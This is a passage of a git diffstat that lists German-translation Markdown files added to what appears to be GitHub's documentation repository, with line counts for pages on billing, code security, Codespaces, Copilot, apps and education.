 ...lling-plan-for-a-github-marketplace-app.md |   42 +
 .../about-billing-for-github-packages.md      |   79 +
 .../index.md                                  |   21 +
 ...your-spending-limit-for-github-packages.md |   70 +
 .../viewing-your-github-packages-usage.md     |   56 +
 .../about-billing-for-github-sponsors.md      |   33 +
 .../downgrading-a-sponsorship.md              |   39 +
 .../index.md                                  |   22 +
 .../upgrading-a-sponsorship.md                |   30 +
 .../about-billing-for-github-accounts.md      |   48 +
 .../about-billing-for-your-enterprise.md      |   81 +
 .../about-per-user-pricing.md                 |  155 ++
 ...n-azure-subscription-to-your-enterprise.md |   57 +
 ...unted-subscriptions-for-github-accounts.md |   51 +
 .../downgrading-your-github-subscription.md   |  105 ++
 ...-downgrading-affect-the-billing-process.md |   50 +
 .../index.md                                  |   41 +
 .../managing-invoices-for-your-enterprise.md  |   49 +
 ...ne-time-payments-for-customers-in-india.md |   73 +
 .../upgrading-your-github-subscription.md     |  112 ++
 ...ng-pending-changes-to-your-subscription.md |   40 +
 ...n-and-usage-for-your-enterprise-account.md |   54 +
 ...io-subscriptions-with-github-enterprise.md |   56 +
 .../index.md                                  |   17 +
 ...io-subscriptions-with-github-enterprise.md |   74 +
 .../about-billing-on-github.md                |   53 +
 .../adding-information-to-your-receipts.md    |   53 +
 .../adding-or-editing-a-payment-method.md     |   55 +
 ...ging-the-duration-of-your-billing-cycle.md |   47 +
 .../index.md                                  |   35 +
 .../redeeming-a-coupon.md                     |   45 +
 .../setting-your-billing-email.md             |  120 ++
 ...eshooting-a-declined-credit-card-charge.md |   43 +
 .../unlocking-a-locked-account.md             |   39 +
 ...ewing-your-payment-history-and-receipts.md |   36 +
 ...ing-your-subscriptions-and-billing-date.md |   40 +
 .../about-licenses-for-github-enterprise.md   |   44 +
 ...ding-your-license-for-github-enterprise.md |   38 +
 .../index.md                                  |   34 +
 ...rise-server-and-github-enterprise-cloud.md |   64 +
 ...ing-license-usage-for-github-enterprise.md |   99 ++
 ...new-license-to-github-enterprise-server.md |   37 +
 ...ing-license-usage-for-github-enterprise.md |   68 +
 ...organizations-for-procurement-companies.md |   44 +
 ...r-an-organization-on-behalf-of-a-client.md |  108 ++
 .../index.md                                  |   25 +
 ...renewing-your-clients-paid-organization.md |   35 +
 ...ngrading-your-clients-paid-organization.md |   42 +
 .../index.md                                  |   28 +
 ...pting-github-advanced-security-at-scale.md |   59 +
 ...lign-on-your-rollout-strategy-and-goals.md |   76 +
 .../phase-2-preparing-to-enable-at-scale.md   |  156 ++
 .../phase-3-pilot-programs.md                 |   91 +
 .../phase-4-create-internal-documentation.md  |   37 +
 ...phase-5-rollout-and-scale-code-scanning.md |   61 +
 ...ase-6-rollout-and-scale-secret-scanning.md |  106 ++
 .../about-code-scanning-alerts.md             |  142 ++
 .../about-code-scanning-with-codeql.md        |   72 +
 .../about-code-scanning.md                    |   60 +
 .../configuring-code-scanning.md              |  546 ++++++
 ...-codeql-workflow-for-compiled-languages.md |  155 ++
 .../index.md                                  |   38 +
 ...ode-scanning-alerts-for-your-repository.md |  227 +++
 ...d-hardware-resources-for-running-codeql.md |   37 +
 ...ing-codeql-code-scanning-in-a-container.md |  104 ++
 ...tting-up-code-scanning-for-a-repository.md |  199 +++
 ...nning-alerts-in-issues-using-task-lists.md |   88 +
 ...g-code-scanning-alerts-in-pull-requests.md |  124 ++
 .../troubleshooting-the-codeql-workflow.md    |  347 ++++
 .../viewing-code-scanning-logs.md             |   82 +
 .../code-security/code-scanning/index.md      |   30 +
 .../about-integration-with-code-scanning.md   |   43 +
 .../integrating-with-code-scanning/index.md   |   30 +
 .../sarif-support-for-code-scanning.md        |  559 ++++++
 .../uploading-a-sarif-file-to-github.md       |  158 ++
 ...-codeql-code-scanning-in-your-ci-system.md |   60 +
 ...onfiguring-codeql-cli-in-your-ci-system.md |  347 ++++
 ...iguring-codeql-runner-in-your-ci-system.md |  216 +++
 .../index.md                                  |   36 +
 ...installing-codeql-cli-in-your-ci-system.md |  119 ++
 ...ng-from-the-codeql-runner-to-codeql-cli.md |  420 +++++
 ...running-codeql-runner-in-your-ci-system.md |  184 ++
 ...hooting-codeql-runner-in-your-ci-system.md |   69 +
 .../about-dependabot-alerts.md                |  106 ++
 .../configuring-dependabot-alerts.md          |   95 ++
 ...ing-notifications-for-dependabot-alerts.md |   70 +
 .../dependabot/dependabot-alerts/index.md     |   29 +
 .../viewing-and-updating-dependabot-alerts.md |  232 +++
 .../about-dependabot-security-updates.md      |   71 +
 ...configuring-dependabot-security-updates.md |   92 +
 .../dependabot-security-updates/index.md      |   26 +
 .../about-dependabot-version-updates.md       |   71 +
 ...ion-options-for-the-dependabot.yml-file.md | 1000 +++++++++++
 .../configuring-dependabot-version-updates.md |  166 ++
 .../customizing-dependency-updates.md         |  144 ++
 .../dependabot-version-updates/index.md       |   32 +
 ...ndencies-configured-for-version-updates.md |   42 +
 .../content/code-security/dependabot/index.md |   29 +
 ...tomating-dependabot-with-github-actions.md |  562 ++++++
 .../working-with-dependabot/index.md          |   30 +
 ...your-actions-up-to-date-with-dependabot.md |   67 +
 ...naging-encrypted-secrets-for-dependabot.md |   90 +
 ...ng-pull-requests-for-dependency-updates.md |   70 +
 .../troubleshooting-dependabot-errors.md      |  153 ++
 ...he-detection-of-vulnerable-dependencies.md |   99 ++
 ...ng-a-security-policy-to-your-repository.md |   65 +
 .../github-security-features.md               |  122 ++
 .../code-security/getting-started/index.md    |   26 +
 .../securing-your-organization.md             |  137 ++
 .../securing-your-repository.md               |  137 ++
 .../de-DE/content/code-security/guides.md     |  102 ++
 .../de-DE/content/code-security/index.md      |   62 +
 .../secret-scanning/about-secret-scanning.md  |  115 ++
 ...g-secret-scanning-for-your-repositories.md |   87 +
 ...ing-custom-patterns-for-secret-scanning.md |  174 ++
 .../code-security/secret-scanning/index.md    |   26 +
 .../managing-alerts-from-secret-scanning.md   |   90 +
 .../protecting-pushes-with-secret-scanning.md |  140 ++
 ...ing-a-branch-blocked-by-push-protection.md |   62 +
 .../secret-scanning-patterns.md               |   81 +
 .../about-global-security-advisories.md       |   38 +
 .../about-the-github-advisory-database.md     |   84 +
 ...isories-in-the-github-advisory-database.md |  128 ++
 ...isories-in-the-github-advisory-database.md |   62 +
 .../global-security-advisories/index.md       |   27 +
 ...-writing-repository-security-advisories.md |   94 +
 .../index.md                                  |   25 +
 .../security-advisories/index.md              |   26 +
 .../about-repository-security-advisories.md   |   67 +
 ...rator-to-a-repository-security-advisory.md |   51 +
 ...lve-a-repository-security-vulnerability.md |   91 +
 ...ulnerability-reporting-for-a-repository.md |   44 +
 ...creating-a-repository-security-advisory.md |   45 +
 .../editing-a-repository-security-advisory.md |   49 +
 .../repository-security-advisories/index.md   |   35 +
 ...vels-for-repository-security-advisories.md |   51 +
 ...blishing-a-repository-security-advisory.md |  102 ++
 ...tor-from-a-repository-security-advisory.md |   43 +
 ...hdrawing-a-repository-security-advisory.md |   29 +
 .../about-the-security-overview.md            |  133 ++
 ...ltering-alerts-in-the-security-overview.md |  162 ++
 .../code-security/security-overview/index.md  |   19 +
 .../viewing-the-security-overview.md          |   72 +
 .../end-to-end-supply-chain-overview.md       |   46 +
 .../end-to-end-supply-chain/index.md          |   27 +
 .../securing-accounts.md                      |  137 ++
 .../securing-builds.md                        |   68 +
 .../end-to-end-supply-chain/securing-code.md  |  118 ++
 .../supply-chain-security/index.md            |   27 +
 .../about-dependency-review.md                |   66 +
 .../about-supply-chain-security.md            |  169 ++
 .../about-the-dependency-graph.md             |  116 ++
 .../configuring-dependency-review.md          |  215 +++
 .../configuring-the-dependency-graph.md       |   52 +
 ...loring-the-dependencies-of-a-repository.md |  113 ++
 .../index.md                                  |   29 +
 .../troubleshooting-the-dependency-graph.md   |   66 +
 .../using-the-dependency-submission-api.md    |   91 +
 ...pace-to-access-a-private-image-registry.md |  125 ++
 ...disaster-recovery-for-github-codespaces.md |   52 +
 .../codespaces/codespaces-reference/index.md  |   21 +
 .../security-in-github-codespaces.md          |  118 ++
 ...ing-github-copilot-in-github-codespaces.md |   95 ++
 ...e-vs-code-command-palette-in-codespaces.md |   71 +
 ...ing-the-machine-type-for-your-codespace.md |  103 ++
 ...g-automatic-deletion-of-your-codespaces.md |  106 ++
 .../customizing-your-codespace/index.md       |   26 +
 ...zing-github-codespaces-for-your-account.md |  105 ++
 .../renaming-a-codespace.md                   |   78 +
 ...ur-default-editor-for-github-codespaces.md |   50 +
 ...ur-default-region-for-github-codespaces.md |   28 +
 ...ur-timeout-period-for-github-codespaces.md |   62 +
 .../connecting-to-a-private-network.md        |   59 +
 ...nvironment-variables-for-your-codespace.md |   44 +
 .../deleting-a-codespace.md                   |  134 ++
 .../developing-in-a-codespace.md              |  139 ++
 .../forwarding-ports-in-your-codespace.md     |  137 ++
 ...-github-codespaces-for-machine-learning.md |  104 ++
 .../developing-in-codespaces/index.md         |   33 +
 .../opening-an-existing-codespace.md          |  123 ++
 .../stopping-and-starting-a-codespace.md      |  111 ++
 ...ing-github-codespaces-for-pull-requests.md |   58 +
 ...github-codespaces-in-visual-studio-code.md |  107 ++
 ...using-github-codespaces-with-github-cli.md |  239 +++
 .../using-source-control-in-your-codespace.md |  122 ++
 .../codespaces/getting-started/deep-dive.md   |  159 ++
 .../codespaces/getting-started/index.md       |   18 +
 .../codespaces/getting-started/quickstart.md  |  113 ++
 .../de-DE/content/codespaces/guides.md        |   66 +
 .../de-DE/content/codespaces/index.md         |   63 +
 ...github-codespaces-for-your-organization.md |   83 +
 .../index.md                                  |   24 +
 ...ing-the-codespaces-in-your-organization.md |   53 +
 ...-and-organization-for-github-codespaces.md |   83 +
 ...ccess-for-your-organizations-codespaces.md |   40 +
 .../restricting-access-to-machine-types.md    |   90 +
 .../restricting-the-idle-timeout-period.md    |   85 +
 ...ing-the-retention-period-for-codespaces.md |   84 +
 ...cting-the-visibility-of-forwarded-ports.md |   81 +
 ...ations-audit-logs-for-github-codespaces.md |   28 +
 .../managing-your-codespaces/index.md         |   23 +
 ...g-encrypted-secrets-for-your-codespaces.md |  102 ++
 ...-gpg-verification-for-github-codespaces.md |   39 +
 ...g-repository-access-for-your-codespaces.md |  133 ++
 ...our-security-logs-for-github-codespaces.md |   29 +
 .../de-DE/content/codespaces/overview.md      |   71 +
 .../about-github-codespaces-prebuilds.md      |   51 +
 ...a-prebuild-to-access-other-repositories.md |   62 +
 .../configuring-prebuilds.md                  |  115 ++
 .../prebuilding-your-codespaces/index.md      |   24 +
 .../managing-prebuilds.md                     |   98 ++
 .../testing-dev-container-changes.md          |   37 +
 .../adding-a-codespaces-badge.md              |   59 +
 ...iles-in-the-codespaces-for-a-repository.md |   55 +
 .../index.md                                  |   30 +
 .../introduction-to-dev-containers.md         |  240 +++
 ...um-specification-for-codespace-machines.md |   54 +
 ...g-up-your-dotnet-project-for-codespaces.md |  212 +++
 ...ing-up-your-java-project-for-codespaces.md |  183 ++
 ...g-up-your-nodejs-project-for-codespaces.md |  177 ++
 .../setting-up-your-project-for-codespaces.md |   24 +
 ...g-up-your-python-project-for-codespaces.md |  204 +++
 .../the-githubdev-web-based-editor.md         |  119 ++
 .../exporting-changes-to-a-branch.md          |   27 +
 .../troubleshooting/github-codespaces-logs.md |  172 ++
 .../codespaces/troubleshooting/index.md       |   25 +
 ...ing-creation-and-deletion-of-codespaces.md |   96 ++
 ...troubleshooting-dotfiles-for-codespaces.md |   30 +
 ...g-port-forwarding-for-github-codespaces.md |   26 +
 .../troubleshooting-prebuilds.md              |   94 +
 ...ng-your-connection-to-github-codespaces.md |   58 +
 ...king-with-support-for-github-codespaces.md |   38 +
 .../about-wikis.md                            |   40 +
 .../adding-or-editing-wiki-pages.md           |   73 +
 .../changing-access-permissions-for-wikis.md  |   25 +
 ...ating-a-footer-or-sidebar-for-your-wiki.md |   49 +
 .../disabling-wikis.md                        |   30 +
 .../editing-wiki-content.md                   |   65 +
 .../index.md                                  |   33 +
 .../viewing-a-wikis-history-of-changes.md     |   59 +
 .../de-DE/content/communities/index.md        |   45 +
 .../blocking-a-user-from-your-organization.md |   77 +
 ...cking-a-user-from-your-personal-account.md |   92 +
 .../index.md                                  |   31 +
 .../reporting-abuse-or-spam.md                |   73 +
 ...nblocking-a-user-from-your-organization.md |   49 +
 ...cking-a-user-from-your-personal-account.md |   51 +
 ...-who-are-blocked-from-your-organization.md |   28 +
 ...ouve-blocked-from-your-personal-account.md |   29 +
 .../index.md                                  |   31 +
 ...-interactions-for-your-personal-account.md |   37 +
 ...iting-interactions-in-your-organization.md |   51 +
 ...imiting-interactions-in-your-repository.md |   43 +
 .../locking-conversations.md                  |   48 +
 .../managing-disruptive-comments.md           |  100 ++
 ...-abuse-in-your-organizations-repository.md |   31 +
 ...ontent-in-your-organizations-repository.md |   51 +
 .../tracking-changes-in-a-comment.md          |   44 +
 ...out-community-management-and-moderation.md |   43 +
 ...munity-profiles-for-public-repositories.md |   50 +
 .../accessing-a-projects-community-profile.md |   27 +
 ...dding-a-code-of-conduct-to-your-project.md |   58 +
 .../adding-a-license-to-a-repository.md       |   59 +
 ...dding-support-resources-to-your-project.md |   44 +
 ...reating-a-default-community-health-file.md |   52 +
 ...ntributions-to-your-project-with-labels.md |   32 +
 .../index.md                                  |   33 +
 ...-guidelines-for-repository-contributors.md |   68 +
 .../about-issue-and-pull-request-templates.md |   59 +
 ...dation-errors-when-creating-issue-forms.md |  670 ++++++++
 ...ing-issue-templates-for-your-repository.md |  112 ++
 ...ll-request-template-for-your-repository.md |   55 +
 .../index.md                                  |   32 +
 ...ngle-issue-template-for-your-repository.md |   81 +
 .../syntax-for-githubs-form-schema.md         |  270 +++
 .../syntax-for-issue-forms.md                 |  173 ++
 ...uring-github-copilot-in-a-jetbrains-ide.md |   88 +
 .../configuring-github-copilot-in-neovim.md   |   24 +
 ...ng-github-copilot-in-visual-studio-code.md |  118 ++
 ...iguring-github-copilot-in-visual-studio.md |   60 +
 ...ng-github-copilot-settings-on-githubcom.md |   25 +
 .../configuring-github-copilot/index.md       |   22 +
 ...-with-github-copilot-in-a-jetbrains-ide.md |  121 ++
 ...g-started-with-github-copilot-in-neovim.md |   74 +
 ...th-github-copilot-in-visual-studio-code.md |  114 ++
 ...ed-with-github-copilot-in-visual-studio.md |   94 +
 .../index.md                                  |   21 +
 translations/de-DE/content/copilot/index.md   |   40 +
 .../about-github-copilot.md                   |   46 +
 .../overview-of-github-copilot/index.md       |   18 +
 .../de-DE/content/copilot/quickstart.md       |   67 +
 ...m-your-local-computer-to-github-desktop.md |   43 +
 ...-project-to-github-using-github-desktop.md |   47 +
 ...epository-from-github-to-github-desktop.md |   53 +
 ...orking-repositories-from-github-desktop.md |   52 +
 .../adding-and-cloning-repositories/index.md  |   21 +
 .../index.md                                  |   22 +
 .../index.md                                  |   16 +
 .../syncing-your-branch.md                    |   88 +
 ...g-and-reviewing-changes-to-your-project.md |  133 ++
 .../making-changes-in-a-branch/index.md       |   16 +
 .../managing-branches.md                      |  100 ++
 .../pushing-changes-to-github.md              |   46 +
 .../stashing-changes.md                       |   31 +
 .../viewing-the-branch-history.md             |   32 +
 .../managing-commits/amending-a-commit.md     |   27 +
 .../cherry-picking-a-commit.md                |   30 +
 .../managing-commits/index.md                 |   20 +
 .../managing-commits/managing-tags.md         |   53 +
 .../managing-commits/reordering-commits.md    |   45 +
 .../managing-commits/reverting-a-commit.md    |   34 +
 .../managing-commits/squashing-commits.md     |   57 +
 ...nging-a-remotes-url-from-github-desktop.md |   32 +
 ...iguring-notifications-in-github-desktop.md |   68 +
 .../creating-an-issue-or-pull-request.md      |   84 +
 .../index.md                                  |   22 +
 ...iewing-a-pull-request-in-github-desktop.md |   34 +
 ...and-re-running-checks-in-github-desktop.md |   30 +
 translations/de-DE/content/desktop/index.md   |   44 +
 ...t-large-file-storage-and-github-desktop.md |   25 +
 .../configuring-a-default-editor.md           |   97 ++
 .../configuring-basic-settings.md             |   33 +
 .../configuring-git-for-github-desktop.md     |   98 ++
 .../index.md                                  |   22 +
 .../setting-a-theme-for-github-desktop.md     |   27 +
 .../index.md                                  |   20 +
 .../about-connections-to-github.md            |   18 +
 .../authenticating-to-github.md               |  190 +++
 .../index.md                                  |   23 +
 .../installing-github-desktop.md              |   64 +
 .../setting-up-github-desktop.md              |   49 +
 .../uninstalling-github-desktop.md            |   39 +
 .../updating-github-desktop.md                |   34 +
 ...r-first-repository-using-github-desktop.md |  117 ++
 .../getting-started-with-github-desktop.md    |  117 ++
 .../overview/index.md                         |   21 +
 .../overview/keyboard-shortcuts.md            |  126 ++
 ...ng-github-desktop-from-the-command-line.md |   53 +
 .../overview/supported-operating-systems.md   |   71 +
 .../authenticating-with-github-apps.md        |  177 ++
 ...ting-a-custom-badge-for-your-github-app.md |   50 +
 .../creating-a-github-app-from-a-manifest.md  |  207 +++
 ...ating-a-github-app-using-url-parameters.md |  131 ++
 .../creating-a-github-app.md                  |   85 +
 ...g-and-authorizing-users-for-github-apps.md |  898 ++++++++++
 .../apps/building-github-apps/index.md        |   32 +
 ...g-allowed-ip-addresses-for-a-github-app.md |   37 +
 .../rate-limits-for-github-apps.md            |   85 +
 ...refreshing-user-to-server-access-tokens.md |   81 +
 .../setting-permissions-for-github-apps.md    |   24 +
 .../authorizing-oauth-apps.md                 |  347 ++++
 ...ating-a-custom-badge-for-your-oauth-app.md |   51 +
 .../creating-an-oauth-app.md                  |   60 +
 .../apps/building-oauth-apps/index.md         |   26 +
 .../scopes-for-oauth-apps.md                  |  123 ++
 .../getting-started-with-apps/about-apps.md   |  112 ++
 .../activating-optional-features-for-apps.md  |   34 +
 ...nces-between-github-apps-and-oauth-apps.md |  121 ++
 .../apps/getting-started-with-apps/index.md   |   24 +
 .../migrating-oauth-apps-to-github-apps.md    |  115 ++
 ...ment-environment-to-create-a-github-app.md |  453 +++++
 .../creating-ci-tests-with-the-checks-api.md  |  754 ++++++++
 .../content/developers/apps/guides/index.md   |   24 +
 .../apps/guides/using-content-attachments.md  |  183 ++
 .../using-the-github-api-in-your-app.md       |  238 +++
 .../de-DE/content/developers/apps/index.md    |   33 +
 .../deleting-a-github-app.md                  |   27 +
 .../editing-a-github-apps-permissions.md      |   37 +
 .../apps/managing-github-apps/index.md        |   29 +
 .../installing-github-apps.md                 |   75 +
 .../making-a-github-app-public-or-private.md  |   43 +
 .../modifying-a-github-app.md                 |   25 +
 .../suspending-a-github-app-installation.md   |   31 +
 .../transferring-ownership-of-a-github-app.md |   30 +
 .../deleting-an-oauth-app.md                  |   26 +
 .../apps/managing-oauth-apps/index.md         |   27 +
 .../modifying-an-oauth-app.md                 |   21 +
 .../transferring-ownership-of-an-oauth-app.md |   29 +
 ...leshooting-authorization-request-errors.md |   54 +
 ...g-oauth-app-access-token-request-errors.md |   78 +
 ...omer-experience-best-practices-for-apps.md |   30 +
 .../index.md                                  |   23 +
 .../requirements-for-listing-an-app.md        |   80 +
 .../security-best-practices-for-apps.md       |   63 +
 .../viewing-metrics-for-your-listing.md       |   56 +
 .../viewing-transactions-for-your-listing.md  |   50 +
 .../about-github-marketplace.md               |   71 +
 .../about-marketplace-badges.md               |   46 +
 ...sher-verification-for-your-organization.md |   44 +
 .../github-marketplace-overview/index.md      |   19 +
 .../developers/github-marketplace/index.md    |   26 +
 ...a-webhook-to-notify-you-of-plan-changes.md |   50 +
 .../drafting-a-listing-for-your-app.md        |   68 +
 .../index.md                                  |   32 +
 .../setting-pricing-plans-for-your-listing.md |   93 +
 ...submitting-your-listing-for-publication.md |   31 +
 ...ting-a-listing-description-for-your-app.md |  196 +++
 .../billing-customers.md                      |   55 +
 .../index.md                                  |   28 +
 ...icing-plans-for-github-marketplace-apps.md |   59 +
 .../receiving-payment-for-app-purchases.md    |   34 +
 .../handling-new-purchases-and-free-trials.md |   89 +
 .../handling-plan-cancellations.md            |   41 +
 .../handling-plan-changes.md                  |   71 +
 .../index.md                                  |   28 +
 ...ndpoints-for-the-github-marketplace-api.md |   38 +
 .../testing-your-app.md                       |   51 +
 ...k-events-for-the-github-marketplace-api.md |   81 +
 .../de-DE/content/developers/index.md         |   44 +
 .../developers/overview/about-githubs-apis.md |   81 +
 .../overview/github-developer-program.md      |   40 +
 .../content/developers/overview/index.md      |   23 +
 .../overview/managing-deploy-keys.md          |  195 +++
 .../overview/replacing-github-services.md     |   78 +
 .../secret-scanning-partner-program.md        |  407 +++++
 .../overview/using-ssh-agent-forwarding.md    |  169 ++
 .../events/github-event-types.md              |  281 +++
 .../webhooks-and-events/events/index.md       |   21 +
 .../events/issue-event-types.md               |  753 ++++++++
 .../developers/webhooks-and-events/index.md   |   22 +
 .../webhooks/about-webhooks.md                |   42 +
 ...iguring-your-server-to-receive-payloads.md |   66 +
 .../webhooks/creating-webhooks.md             |  100 ++
 .../webhooks-and-events/webhooks/index.md     |   26 +
 .../receiving-webhooks-with-the-github-cli.md |   52 +
 .../webhooks/securing-your-webhooks.md        |   96 ++
 .../webhooks/testing-webhooks.md              |   47 +
 .../webhooks/webhook-events-and-payloads.md   |  100 ++
 .../about-discussions.md                      |   78 +
 ...ting-with-maintainers-using-discussions.md |   89 +
 .../index.md                                  |   18 +
 .../participating-in-a-discussion.md          |   66 +
 ...s-for-community-conversations-on-github.md |   53 +
 .../guides/finding-your-discussions.md        |   22 +
 ...-higher-permissions-to-top-contributors.md |   36 +
 .../de-DE/content/discussions/guides/index.md |   18 +
 .../de-DE/content/discussions/index.md        |   46 +
 .../index.md                                  |   19 +
 .../managing-categories-for-discussions.md    |   68 +
 .../managing-discussions.md                   |  215 +++
 .../moderating-discussions.md                 |   47 +
 .../viewing-insights-for-your-discussions.md  |   40 +
 .../de-DE/content/discussions/quickstart.md   |   80 +
 ...-started-with-github-community-exchange.md |   50 +
 .../index.md                                  |   18 +
 ...ubmissions-to-github-community-exchange.md |   29 +
 ...repository-to-github-community-exchange.md |   60 +
 .../about-github-community-exchange.md        |   37 +
 ...about-github-global-campus-for-students.md |   49 +
 ...ly-to-github-global-campus-as-a-student.md |   64 +
 .../index.md                                  |   24 +
 ...-to-global-campus-for-students-approved.md |   79 +
 ...about-github-global-campus-for-teachers.md |   37 +
 ...ly-to-github-global-campus-as-a-teacher.md |   44 +
 .../index.md                                  |   23 +
 ...-to-global-campus-for-teachers-approved.md |   54 +
 .../index.md                                  |   22 +
 .../about-campus-experts.md                   |   20 +
 .../about-github-campus-program.md            |   53 +
 .../index.md                                  |   21 +
 .../de-DE/content/education/guides.md         |   55 +
 translations/de-DE/content/education/index.md |   40 +
 .../basics-of-setting-up-github-classroom.md  |   39 +
 .../glossary.md                               |   53 +
 .../index.md                                  |   17 +
 .../index.md                                  |   19 +
 ...g-makecode-arcade-with-github-classroom.md |   31 +
 ...isual-studio-code-with-github-classroom.md |   50 +
 .../index.md                                  |   21 +
 .../integrate-github-classroom-with-an-ide.md |   45 +
 .../replit-with-github-classroom.md           |   34 +
 .../run-student-code-in-an-ide.md             |   28 +
 ...github-codespaces-with-github-classroom.md |  102 ++
 .../learn-with-github-classroom/index.md      |   16 +
 .../view-autograding-results.md               |   30 +
 .../create-a-group-assignment.md              |  155 ++
 ...n-assignment-from-a-template-repository.md |   27 +
 .../create-an-individual-assignment.md        |  139 ++
 .../teach-with-github-classroom/index.md      |   28 +
 .../leave-feedback-with-pull-requests.md      |   39 +
 .../manage-classrooms.md                      |  137 ++
 ...management-system-with-github-classroom.md |  169 ++
 .../reuse-an-assignment.md                    |   61 +
 .../use-autograding.md                        |  101 ++
 ...e-the-git-and-github-starter-assignment.md |  104 ++
 .../de-DE/content/education/quickstart.md     |   94 +
 .../about-github-marketplace.md               |   41 +
 .../about-integrations.md                     |   48 +
 .../exploring-integrations/about-webhooks.md  |   37 +
 .../github-extensions-and-integrations.md     |   52 +
 .../exploring-integrations/index.md           |   24 +
 .../customizing-your-github-workflow/index.md |   23 +
 .../index.md                                  |   21 +
 .../installing-an-app-in-your-organization.md |   43 +
 ...talling-an-app-in-your-personal-account.md |   41 +
 ...-to-contribute-to-open-source-on-github.md |   56 +
 .../following-organizations.md                |   50 +
 .../following-people.md                       |   75 +
 .../exploring-projects-on-github/index.md     |   30 +
 .../saving-repositories-with-stars.md         |  144 ++
 .../about-remote-repositories.md              |   94 +
 .../associating-text-editors-with-git.md      |  100 ++
 .../caching-your-github-credentials-in-git.md |  106 ++
 .../configuring-git-to-handle-line-endings.md |  141 ++
 .../getting-started-with-git/git-workflows.md |   22 +
 .../ignoring-files.md                         |   72 +
 .../getting-started-with-git/index.md         |   33 +
 .../managing-remote-repositories.md           |  239 +++
 .../setting-your-username-in-git.md           |   62 +
 ...ing-credentials-from-the-macos-keychain.md |   50 +
 ...hy-is-git-always-asking-for-my-password.md |   26 +
 .../about-github-importer.md                  |   36 +
 .../adding-locally-hosted-code-to-github.md   |  196 +++
 ...a-git-repository-using-the-command-line.md |   47 +
 ...rting-a-repository-with-github-importer.md |   46 +
 .../importing-source-code-to-github/index.md  |   31 +
 .../source-code-migration-tools.md            |   64 +
 ...author-attribution-with-github-importer.md |   50 +
 .../index.md                                  |   25 +
 .../index.md                                  |   23 +
 ...bversion-properties-supported-by-github.md |   34 +
 .../support-for-subversion-clients.md         |  138 ++
 ...-differences-between-subversion-and-git.md |   76 +
 .../de-DE/content/get-started/index.md        |   72 +
 .../about-github-advanced-security.md         |  101 ++
 .../about-versions-of-github-docs.md          |   65 +
 .../access-permissions-on-github.md           |   56 +
 .../faq-about-changes-to-githubs-plans.md     |  102 ++
 .../github-language-support.md                |   37 +
 .../learning-about-github/githubs-products.md |  126 ++
 .../learning-about-github/index.md            |   33 +
 .../types-of-github-accounts.md               |   89 +
 .../getting-started-with-github-ae.md         |   83 +
 ...ng-started-with-github-enterprise-cloud.md |  220 +++
 ...g-started-with-github-enterprise-server.md |  128 ++
 .../getting-started-with-github-team.md       |   99 ++
 ...etting-started-with-your-github-account.md |  203 +++
 .../content/get-started/onboarding/index.md   |   22 +
 .../about-githubs-use-of-your-data.md         |   46 +
 .../get-started/privacy-on-github/index.md    |   22 +
 ...se-settings-for-your-private-repository.md |   49 +
 ...hive-program-for-your-public-repository.md |   30 +
 ...-archive-of-your-personal-accounts-data.md |   45 +
 .../get-started/quickstart/be-social.md       |  101 ++
 .../quickstart/communicating-on-github.md     |  156 ++
 .../quickstart/contributing-to-projects.md    |  200 +++
 .../get-started/quickstart/create-a-repo.md   |  148 ++
 .../get-started/quickstart/fork-a-repo.md     |  230 +++
 .../git-and-github-learning-resources.md      |   63 +
 .../get-started/quickstart/git-cheatsheet.md  |   22 +
 .../get-started/quickstart/github-flow.md     |  105 ++
 .../get-started/quickstart/github-glossary.md |   32 +
 .../get-started/quickstart/hello-world.md     |  157 ++
 .../content/get-started/quickstart/index.md   |   35 +
 .../get-started/quickstart/set-up-git.md      |   91 +
 .../signing-up-for-github/index.md            |   26 +
 ...g-up-a-trial-of-github-enterprise-cloud.md |   84 +
 ...-up-a-trial-of-github-enterprise-server.md |   70 +
 .../signing-up-for-a-new-github-account.md    |   37 +
 .../verifying-your-email-address.md           |   71 +
 .../get-started/using-git/about-git-rebase.md |  111 ++
 .../using-git/about-git-subtree-merges.md     |  120 ++
 .../get-started/using-git/about-git.md        |  184 ++
 .../dealing-with-non-fast-forward-errors.md   |   48 +
 ...cial-characters-in-branch-and-tag-names.md |   54 +
 ...etting-changes-from-a-remote-repository.md |   87 +
 .../content/get-started/using-git/index.md    |   36 +
 .../pushing-commits-to-a-remote-repository.md |  113 ++
 ...ving-merge-conflicts-after-a-git-rebase.md |   39 +
 ...g-a-subfolder-out-into-a-new-repository.md |   90 +
 .../using-git-rebase-on-the-command-line.md   |  154 ++
 ...ly-access-releases-with-feature-preview.md |   37 +
 .../get-started/using-github/github-cli.md    |   22 +
 .../using-github/github-command-palette.md    |  229 +++
 .../using-github/github-desktop.md            |   29 +
 .../get-started/using-github/github-mobile.md |   94 +
 .../content/get-started/using-github/index.md |   28 +
 .../using-github/keyboard-shortcuts.md        |  245 +++
 .../using-github/supported-browsers.md        |   47 +
 .../troubleshooting-connectivity-problems.md  |   51 +
 .../creating-gists.md                         |   83 +
 .../forking-and-cloning-gists.md              |   41 +
 .../index.md                                  |   25 +
 .../about-writing-and-formatting-on-github.md |   45 +
 .../basic-writing-and-formatting-syntax.md    |  385 +++++
 .../index.md                                  |   26 +
 .../quickstart-for-writing-on-github.md       |  244 +++
 .../get-started/writing-on-github/index.md    |   27 +
 .../attaching-files.md                        |   64 +
 .../autolinked-references-and-urls.md         |   78 +
 ...ting-a-permanent-link-to-a-code-snippet.md |   57 +
 .../creating-and-highlighting-code-blocks.md  |   83 +
 .../creating-diagrams.md                      |  175 ++
 .../working-with-advanced-formatting/index.md |   31 +
 ...ing-information-with-collapsed-sections.md |   50 +
 .../organizing-information-with-tables.md     |   88 +
 ...ng-keywords-in-issues-and-pull-requests.md |   39 +
 .../writing-mathematical-expressions.md       |   79 +
 .../about-saved-replies.md                    |   35 +
 .../creating-a-saved-reply.md                 |   29 +
 .../deleting-a-saved-reply.md                 |   17 +
 .../editing-a-saved-reply.md                  |   28 +
 .../working-with-saved-replies/index.md       |   26 +
 .../using-saved-replies.md                    |   39 +
 .../github-cli/github-cli/about-github-cli.md |   37 +
 .../creating-github-cli-extensions.md         |  286 ++++
 .../github-cli/github-cli-reference.md        |   41 +
 .../content/github-cli/github-cli/index.md    |   23 +
 .../github-cli/github-cli/quickstart.md       |   47 +
 .../github-cli/using-github-cli-extensions.md |   76 +
 .../de-DE/content/github-cli/index.md         |   43 +
 translations/de-DE/content/graphql/README.md  |   18 +
 .../guides/forming-calls-with-graphql.md      |  419 +++++
 .../de-DE/content/graphql/guides/index.md     |   29 +
 .../graphql/guides/introduction-to-graphql.md |  143 ++
